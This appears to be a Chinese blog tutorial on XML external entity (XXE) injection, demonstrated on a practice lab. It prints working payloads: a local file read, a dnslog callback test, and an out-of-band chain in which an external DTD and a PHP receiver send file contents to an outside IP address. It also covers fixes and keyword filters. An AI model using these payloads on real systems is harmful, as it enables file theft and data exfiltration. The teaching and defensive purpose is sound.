首页 > 其他分享 >Web攻防--xxe实体注入

Web攻防--xxe实体注入

时间:2023-08-13 16:58:37浏览次数:61  
标签:XML Web xxe 文件 -- 漏洞 XXE payload 读取

web攻防--xxe实体注入

漏洞简介

XML 外部实体注入(也称为 XXE)是一种 Web 安全漏洞,允许攻击者干扰应用程序对 XML 数据的处理。它通常允许攻击者查看应用程序服务器文件系统上的文件,并与应用程序本身可以访问的任何后端或外部系统进行交互。

在某些情况下,攻击者可以利用 XXE 漏洞联合执行服务器端请求伪造(SSRF) 攻击,从而提高 XXE 攻击等级以破坏底层服务器或其他后端基础设施。

XML简介

XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。等同于JSON传输。XXE漏洞XML External Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网扫描、攻击内网等危害

XML 与 HTML 的主要差异:
XML 被设计为传输和存储数据,其焦点是数据的内容。
HTML 被设计用来显示数据,其焦点是数据的外观。
HTML 旨在显示信息 ,而XML旨在传输存储信息。
Example:网站的xml文件解析

漏洞发现

黑盒发现

  1. 获取得到Content-Type或数据类型为xml时,尝试xml语言payload进行测试
  2. 不管获取的Content-Type类型或数据传输类型,均可尝试修改后提交测试xxe
  3. XXE不仅在数据传输上可能存在漏洞,同样在文件上传引用插件解析或预览也会造成文件中的XXE Payload被执行

白盒发现

  1. 可通过应用功能追踪代码定位审计
  2. 可通过脚本特定函数搜索定位审计
  3. 可通过伪协议玩法绕过相关修复等

漏洞利用

通过搭建github上托管得xxe靶场进行复现xxe-lab
搭建效果如图
在这里插入图片描述

回显利用

抓包发现使用xml格式进行传输数据
在这里插入图片描述
直接构造payload进行尝试读取文件

payload

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY test SYSTEM  "file:///c:/1.txt">
]>
<user><username>&test;</username><password>pass</password></user>

成功读取文件内容
在这里插入图片描述

file:///                   #file协议读取文件
http://url/file.txt         #http协议读取站点下的文件
PHP://filter                                 #文件流形式读取php文件

无回显利用(oob)

将靶场中得回显语句注释掉即可得到无回显环境
在这里插入图片描述
无回显测试首先进行带外测试,查看XXE语句是否可以进行解析。
payload

<?xml version="1.0" ?>
<!DOCTYPE test [
    <!ENTITY % file SYSTEM "http://g575cg.dnslog.cn">
    %file;
]>
<user><username>admin</username><password>1234</password></user>

测试返回结果报错了,查看该网址是否有访问记录
在这里插入图片描述
目标成功解析xml语句,并进行了访问
在这里插入图片描述
构造payload尝试进行读取文件
payload分为三部分

get.php放在用于接收数据得服务器上用于接受数据并保存为文件

<?php
$data=$_GET['file'];
$myfile=fopen("file.txt","w");
fwrite($myfile,$data);
fclose($myfile);
?>

test.dtd用于将读取到得数据赋值给get.php

<!ENTITY % all "<!ENTITY send SYSTEM 'http://101.200.161.174/get.php?file=%file;'>">

payload

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///c:/1.txt">		#读取文件
<!ENTITY % remote SYSTEM "http://101.200.161.174/test.dtd">		#加载dtd文件
%remote;
%all;
]>

<root>&send;</root>	#触发test.dtd中的元素

在进行文件读取的时候,有些文件中带有空格,这样的话在将数据赋值给get.php文件时,get方法传参会将数据错误识别,这时候可以使用php://filter协议使用base64编码以数据流得形式读取文件。

漏洞修复

修复防御方案:

  • 禁用外部实体
    PHP:
    libxml_disable_entity_loader(true);
    JAVA:
    DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);
    Python:
    from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

  • 过滤用户提交的XML数据
    过滤关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC

扩展参考

CTF XXE
从XML相关一步一步到XXE漏洞

以上内容仅作参考学习,如有瑕疵或错误,希望各位师傅们斧正,感谢阅读。

标签:XML,Web,xxe,文件,--,漏洞,XXE,payload,读取
From: https://www.cnblogs.com/Pengj/p/17626778.html

相关文章

  • Sql Server 2008数据库Windows账户和sa账户被禁用以后……
    服务器版本:WIndows Server2008 R2 Standard数据库版本:MicrosoftSQLServer2008 R2事故背景:新建了一个账户dev以后,禁用sa账户,不小心把Windows登录账户也给禁用了,然后数据库代理,作业都不可用了解决:1、用当前账户新建一个Windows管理员账户dba 2、用新账号dba登录......
  • Vulnhub: DriftingBlues: 3靶机
    kali:192.168.111.111靶机:192.168.111.192信息收集端口扫描nmap-A-sC-v-sV-T5-p---script=http-enum192.168.111.192查看robots.txt得到提示访问eventadmins提示littlequeenofspades.html查看littlequeenofspades.html源码base64解密后提示adminsfixit.php......
  • ctfshow--web入门--XXE
    ctfshow--web入门--XXEweb373源码<?phperror_reporting(0);libxml_disable_entity_loader(false); //允许加载外部实体$xmlfile=file_get_contents('php://input'); //使用php伪协议进行接收值,并进行文件读取if(isset($xmlfile)){$dom=newDOMDocument();......
  • 第九章 项目资源管理
    规划资源管理规划资源管理的过程:(1)工具与技术责任分配矩阵:RICA⭐组织理论:(2)输出资源管理计划:权力角色的划分:资源管理计划:强调的是记录责任分配矩阵:是一个责任分配的工具,强调划分过程团队章程:⭐ 估算活动资源估算活动资源的过程:(1)输入资源日历:获取资源......
  • Django实现文件上传、文件列表查看、修改、限流和日志记录4
    Django实现文件上传、文件列表查看、修改、限流和日志记录4本章添加用户认证功能,属于安全模块。用户认证在Django中,默认情况下,用户的用户名和密码是存储在数据库中的。Django提供了内置的用户模型(User模型),它可以管理用户的认证和授权。配置数据库在file_upload/settings.py......
  • Web通用漏洞--文件上传
    Web通用漏洞--文件上传概述文件上传安全指的是攻击者通过利用上传实现后门的写入连接后门进行权限控制的安全问题,对于如何确保这类安全问题,一般会从原生态功能中的文件内容,文件后缀,文件类型等方面判断,但是漏洞可能不仅在本身的代码验证逻辑中出现安全问题,也会在语言版本,语言函数......
  • 第十章 项目沟通管理
    规划沟通管理沟通渠道数量:(n(n-1))/2规划沟通管理的过程:(1)工具与技术沟通技术:沟通模型:沟通方法:沟通方法举例子:文化意识:(2)输出沟通管理计划:管理沟通管理沟通的过程:(1)工具与技术会议管理:监督沟通监督沟通的过程:     ......
  • 【RL】L7-Temporal-difference learning
    TDlearningofstatevaluesThedata/experiencerequiredbythealgorithm:\(\left(s_0,r_1,s_1,\ldots,s_t,r_{t+1},s_{t+1},\ldots\right)\)or\(\left\{\left(s_t,r_{t+1},s_{t+1}\right)\right\}_t\)generatedfollowingthegivenpolicy......
  • 第十一章 项目风险管理
    规划风险管理规划风险管理的过程:(1)输出风险管理计划:相关方风险偏好:几种分解结构的区别:识别风险识别风险的过程:(1)工具与技术核对单:SWOT分析:(2)输出风险登记册:关于风险的几个文件:实施定性风险分析实施定性分析的过程:主观的猜测行为,去定优先级(1)工具与技......
  • 2023.32 AI架构
    AI架构是指在设计和构建人工智能系统时所采用的整体结构和组织方式。AI架构通常由多个组件和层次组成,每个组件负责不同的任务和功能。以下是一种常见的AI架构:数据层:AI系统的基础是数据。数据层负责数据的收集、存储和准备工作。这包括数据的获取、清洗、预处理和转换,以使其适合后......